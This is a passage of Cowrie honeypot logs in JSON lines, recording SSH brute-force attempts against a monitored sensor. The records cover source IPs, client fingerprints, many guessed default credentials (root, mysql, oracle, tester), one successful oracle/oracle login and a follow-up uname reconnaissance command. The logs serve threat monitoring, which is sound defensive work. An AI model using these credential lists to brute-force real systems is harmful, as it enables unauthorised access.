0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:46.402161Z","src_ip":"176.65.132.129","session":"c8b309b75364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:46.647085Z","src_ip":"176.65.132.129","session":"c8b309b75364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:46.692881Z","src_ip":"80.66.85.226","session":"ed662fa1f53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":34006,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2a9f221d906","protocol":"ssh","message":"New connection: 62.54.176.203:34006 (159.203.135.109:22) [session: e2a9f221d906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:47.544410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:47.549421Z","src_ip":"62.54.176.203","session":"e2a9f221d906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:47.652527Z","src_ip":"62.54.176.203","session":"e2a9f221d906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:47.736488Z","src_ip":"176.65.132.129","session":"c8b309b75364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"454545","message":"login attempt [root/454545] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:48.123972Z","src_ip":"62.54.176.203","session":"e2a9f221d906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:49.228877Z","src_ip":"62.54.176.203","session":"e2a9f221d906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44314,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7418a8f976","protocol":"ssh","message":"New connection: 176.65.132.129:44314 (159.203.135.109:22) [session: 6b7418a8f976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:49.522753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:49.531098Z","src_ip":"176.65.132.129","session":"6b7418a8f976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:49.614444Z","src_ip":"176.65.132.129","session":"6b7418a8f976","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:49.866085Z","src_ip":"176.65.132.129","session":"6b7418a8f976","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:50.087884Z","src_ip":"176.65.132.129","session":"6b7418a8f976","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:50.091479Z","src_ip":"176.65.132.129","session":"6b7418a8f976","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:50.179826Z","src_ip":"176.65.132.129","session":"6b7418a8f976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:50.184974Z","src_ip":"176.65.132.129","session":"6b7418a8f976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44318,"dst_ip":"159.203.135.109","dst_port":22,"session":"699a61fd5064","protocol":"ssh","message":"New connection: 176.65.132.129:44318 (159.203.135.109:22) [session: 699a61fd5064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:52.739267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:52.744474Z","src_ip":"176.65.132.129","session":"699a61fd5064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:52.826874Z","src_ip":"176.65.132.129","session":"699a61fd5064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:53.073701Z","src_ip":"176.65.132.129","session":"699a61fd5064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.57729506492615,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:53.080415Z","src_ip":"152.42.224.71","session":"c753564df66a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:54.158529Z","src_ip":"176.65.132.129","session":"699a61fd5064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57266,"dst_ip":"159.203.135.109","dst_port":22,"session":"03fc9a309f5d","protocol":"ssh","message":"New connection: 176.65.132.129:57266 (159.203.135.109:22) [session: 03fc9a309f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:56.174305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:56.179651Z","src_ip":"176.65.132.129","session":"03fc9a309f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:56.262362Z","src_ip":"176.65.132.129","session":"03fc9a309f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:56.509161Z","src_ip":"176.65.132.129","session":"03fc9a309f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":47806,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba07f61ff945","protocol":"ssh","message":"New connection: 122.166.167.154:47806 (159.203.135.109:22) [session: ba07f61ff945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:57.566925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:57.571995Z","src_ip":"122.166.167.154","session":"ba07f61ff945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:57.594073Z","src_ip":"176.65.132.129","session":"03fc9a309f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:57.834798Z","src_ip":"122.166.167.154","session":"ba07f61ff945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"conan","message":"login attempt [root/conan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:58.911892Z","src_ip":"122.166.167.154","session":"ba07f61ff945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57276,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb930e859bd3","protocol":"ssh","message":"New connection: 176.65.132.129:57276 (159.203.135.109:22) [session: eb930e859bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:59.446516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:59.510214Z","src_ip":"176.65.132.129","session":"eb930e859bd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:59.592010Z","src_ip":"176.65.132.129","session":"eb930e859bd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:59.840495Z","src_ip":"176.65.132.129","session":"eb930e859bd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":45607,"dst_ip":"159.203.135.109","dst_port":22,"session":"69de333c996e","protocol":"ssh","message":"New connection: 213.135.168.228:45607 (159.203.135.109:22) [session: 69de333c996e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:59.979563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:59.984820Z","src_ip":"213.135.168.228","session":"69de333c996e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:00.125918Z","src_ip":"213.135.168.228","session":"69de333c996e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:00.179881Z","src_ip":"122.166.167.154","session":"ba07f61ff945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:00.685798Z","src_ip":"213.135.168.228","session":"69de333c996e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":58564,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ee3a57093af","protocol":"ssh","message":"New connection: 45.132.125.41:58564 (159.203.135.109:22) [session: 7ee3a57093af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:00.768321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:00.774196Z","src_ip":"45.132.125.41","session":"7ee3a57093af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:00.883948Z","src_ip":"45.132.125.41","session":"7ee3a57093af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:00.925293Z","src_ip":"176.65.132.129","session":"eb930e859bd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devuser123","message":"login attempt [root/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:01.338666Z","src_ip":"45.132.125.41","session":"7ee3a57093af","protocol":"ssh"}
